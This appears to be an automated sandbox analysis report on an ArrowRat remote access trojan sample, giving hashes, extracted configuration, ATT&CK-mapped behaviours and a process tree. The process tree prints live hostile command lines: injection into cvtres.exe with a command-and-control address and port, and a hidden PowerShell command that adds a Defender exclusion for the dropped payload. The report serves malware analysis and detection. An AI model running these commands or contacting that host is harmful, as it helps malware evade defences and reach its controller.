Overview

overview

10

Static

static

10

0a53456ad2...35.exe

windows7-x64

10

0a53456ad2...35.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    140s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24-09-2024 16:48

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General

  • Target

    0a53456ad2ce6a20c459e38a8fb0be2751c7543a0d8a47f52bb48a8b6d24d335.exe

  • Size

    158KB

  • MD5

    d0a55dda2e691dbb7eedcd02cc7eaffa

  • SHA1

    37433d28c8f89e0f3b63e145d592e86e9da9b22f

  • SHA256

    0a53456ad2ce6a20c459e38a8fb0be2751c7543a0d8a47f52bb48a8b6d24d335

  • SHA512

    de5975c1c76799649b917b5e43c681ea2aff06813f43d363d4dc2ec8c99d33ba17026cb07a26931e6f637e26add9090be0eccc95f753f625461c75fe2b07327a

  • SSDEEP

    3072:wbzmH+0OoCthfbEFtbcfjF45gjryKKqH6JY2doszEmQotEPPcfPzdO8Y:wbzme0ODhTEPgnjuIJzo+PPcfPzQ8

Score
10/10
arrowratclientdiscoveryexecutionpersistencerat

Malware Config

Extracted

Family

arrowrat

Botnet

Client

C2

26.137.109.175:1337

Mutex

pqjvqGUKv

Signatures

  • ArrowRat

    Remote access tool with various capabilities first seen in late 2021.

    ratarrowrat
  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
    persistence
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

    execution
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 22 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
    adwarespyware
  • Modifies registry class 41 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 26 IoCs
  • Suspicious use of FindShellTrayWindow 51 IoCs
  • Suspicious use of SendNotifyMessage 23 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 17 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\0a53456ad2ce6a20c459e38a8fb0be2751c7543a0d8a47f52bb48a8b6d24d335.exe
    "C:\Users\Admin\AppData\Local\Temp\0a53456ad2ce6a20c459e38a8fb0be2751c7543a0d8a47f52bb48a8b6d24d335.exe"
    1⤵
    • Modifies WinLogon for persistence
    • Checks computer location settings
    • Suspicious use of SetThreadContext
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3080
    • C:\Windows\explorer.exe
      "C:\Windows\explorer.exe"
      2⤵
      • Boot or Logon Autostart Execution: Active Setup
      • Enumerates connected drives
      • Checks SCSI registry key(s)
      • Modifies registry class
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:3104
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 26.137.109.175 1337 pqjvqGUKv
      2⤵
        PID:2208
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 26.137.109.175 1337 pqjvqGUKv
        2⤵
        • System Location Discovery: System Language Discovery
        PID:1244
      • C:\Windows\System32\ComputerDefaults.exe
        "C:\Windows\System32\ComputerDefaults.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3152
        • C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
          "PowerShell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\yoRyHvHxC\qQDhvzMlM.exe'
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1712
    • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
      "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
      1⤵
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      PID:2032
    • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
      "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
      1⤵
      • Modifies Internet Explorer settings
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      PID:3816

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133716701509316735.txt
      Filesize

      76KB

      MD5

      04149e915c23b3fc4e4feaddf863a1aa

      SHA1

      05ba64d6a0252128ad3f14c8631d9e55d09e24be

      SHA256

      dfa34cabe6b45e3603f773a6fec5aec4af3c975736a5d6204ad76c7bed70fc67

      SHA512

      1c7aeb9d0631f25e5f7b4509d46810182e3273d9909dd4313dadada923ab0f37e099f93f1e47654b8ba6efb55dc3e89ed1a29b13e9e22487587ba3f96d19466e

      Download Submit

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_trrt5ffd.vor.ps1
      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      Download Submit

    • memory/1244-6-0x0000000005FE0000-0x0000000006584000-memory.dmp

      Filesize

      5.6MB

      Download

    • memory/1244-2-0x0000000000400000-0x0000000000418000-memory.dmp

      Filesize

      96KB

      Download

    • memory/1244-5-0x00000000057F0000-0x000000000588C000-memory.dmp

      Filesize

      624KB

      Download

    • memory/1244-4-0x00000000056D0000-0x0000000005762000-memory.dmp

      Filesize

      584KB

      Download

    • memory/1244-7-0x0000000005F60000-0x0000000005FC6000-memory.dmp

      Filesize

      408KB

      Download

    • memory/1244-10-0x0000000006820000-0x0000000006870000-memory.dmp

      Filesize

      320KB

      Download

    • memory/1712-28-0x000001829B950000-0x000001829BB6C000-memory.dmp

      Filesize

      2.1MB

      Download

    • memory/1712-21-0x000001829B8E0000-0x000001829B902000-memory.dmp

      Filesize

      136KB

      Download

    • memory/3080-15-0x00007FF88A010000-0x00007FF88AAD1000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/3080-0-0x00007FF88A013000-0x00007FF88A015000-memory.dmp

      Filesize

      8KB

      Download

    • memory/3080-183-0x00007FF88A013000-0x00007FF88A015000-memory.dmp

      Filesize

      8KB

      Download

    • memory/3080-1-0x00000265BC350000-0x00000265BC37E000-memory.dmp

      Filesize

      184KB

      Download

    • memory/3080-211-0x00007FF88A010000-0x00007FF88AAD1000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/3104-29-0x0000000002B60000-0x0000000002B61000-memory.dmp

      Filesize

      4KB

      Download

    • memory/3816-31-0x000001ED459A0000-0x000001ED45AA0000-memory.dmp

      Filesize

      1024KB

      Download

    • memory/3816-32-0x000001ED459A0000-0x000001ED45AA0000-memory.dmp

      Filesize

      1024KB

      Download

    • memory/3816-44-0x000001F5477C0000-0x000001F5477E0000-memory.dmp

      Filesize

      128KB

      Download

    • memory/3816-36-0x000001F547B00000-0x000001F547B20000-memory.dmp

      Filesize

      128KB

      Download

    • memory/3816-67-0x000001F547ED0000-0x000001F547EF0000-memory.dmp

      Filesize

      128KB

      Download